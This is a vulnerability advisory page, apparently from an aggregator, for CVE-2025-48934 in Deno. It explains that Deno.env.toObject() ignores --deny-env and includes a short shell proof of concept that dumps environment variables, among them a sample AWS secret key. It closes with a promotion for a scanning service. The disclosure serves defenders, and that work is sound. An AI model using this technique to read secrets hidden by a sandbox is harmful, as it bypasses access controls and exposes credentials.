🛡️ CVE-2025-48934 — deno

🟡 CVSS 5.3 — Medium ⚠️ Exploit Public CWE-201 OSV
5.3
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Deno.env.toObject() ignores the variables listed in --deny-env and returns all environment variables

Summary

The [Deno.env.toObject](https://docs.deno.com/api/deno/~/Deno.Env.toObject) method ignores any variables listed in the --deny-env option of the deno run command. When looking at the [documentation](https://docs.deno.com/runtime/fundamentals/security/#environment-variables) of the --deny-env option this might lead to a false impression that variables listed in the option are impossible to read.

PoC

```

export AWS_SECRET_ACCESS_KEY=my-secret-aws-key

# Works as expected. The program stops with a "NotCapable" error message

echo 'console.log(Deno.env.get("AWS_SECRET_ACCESS_KEY"));' | deno run \

--allow-env \

--deny-env=AWS_ACCESS_KEY_ID,AWS_SECRET_ACCESS_KEY -

# All enviroment variables are printed and the --deny-env list is completely disregarded

echo 'console.log(Deno.env.toObject());' | deno run \

--allow-env \

--deny-env=AWS_ACCESS_KEY_ID,AWS_SECRET_ACCESS_KEY -

```

The first example using get exits with the following error:

```

error: Uncaught (in promise) NotCapable: Requires env access to "AWS_SECRET_ACCESS_KEY", run again with the --allow-env flag

console.log(Deno.env.get("AWS_SECRET_ACCESS_KEY"));

^

at Object.getEnv [as get] (ext:deno_os/30_os.js:124:10)

at file:///$deno$stdin.mts:1:22

```

The second example using toObject prints all environment variables:

```

[Object: null prototype] {

...

AWS_SECRET_ACCESS_KEY: "my-secret-aws-key",

...

}

```

Impact

Software relying on the combination of both flags to allow access to most environment variables except a few sensitive ones will be vulnerable to malicious code trying to steal secrets using the Deno.env.toObject() method.

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. Rated impact: confidentiality low, integrity low, availability none.

Affected software

CVE-2025-48934 is recorded against 2 packages.

  • deno
  • deno-runtime

Timeline and source

Published on 4 June 2025 and last revised on 17 June 2026. A public exploit is known to exist, which raises the urgency of patching considerably. A vendor advisory or fix has been published. Record sourced from OSV.

References

github.com (Web)
nvd.nist.gov (Advisory)
github.com (Web)
github.com (Web)
github.com (Web)
docs.deno.com (Web)
docs.deno.com (Web)
github.com (Package)

Details

Severity MEDIUM
CVSS Score 5.3
CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
CWE CWE-201
Public Exploit ⚠️ Yes
Source OSV
Published 2025-06-04
Updated 2026-08-12
Modified 2026-06-17

Affected Packages

Software From version Fixed in
deno
deno-runtime

Similar Threats

Exploit Protection

Are you running deno?

CVE-2025-48934 carries CVSS 5.3 Medium rating and a public exploit already exists. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.

Check My Site For CVE-2025-48934 →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.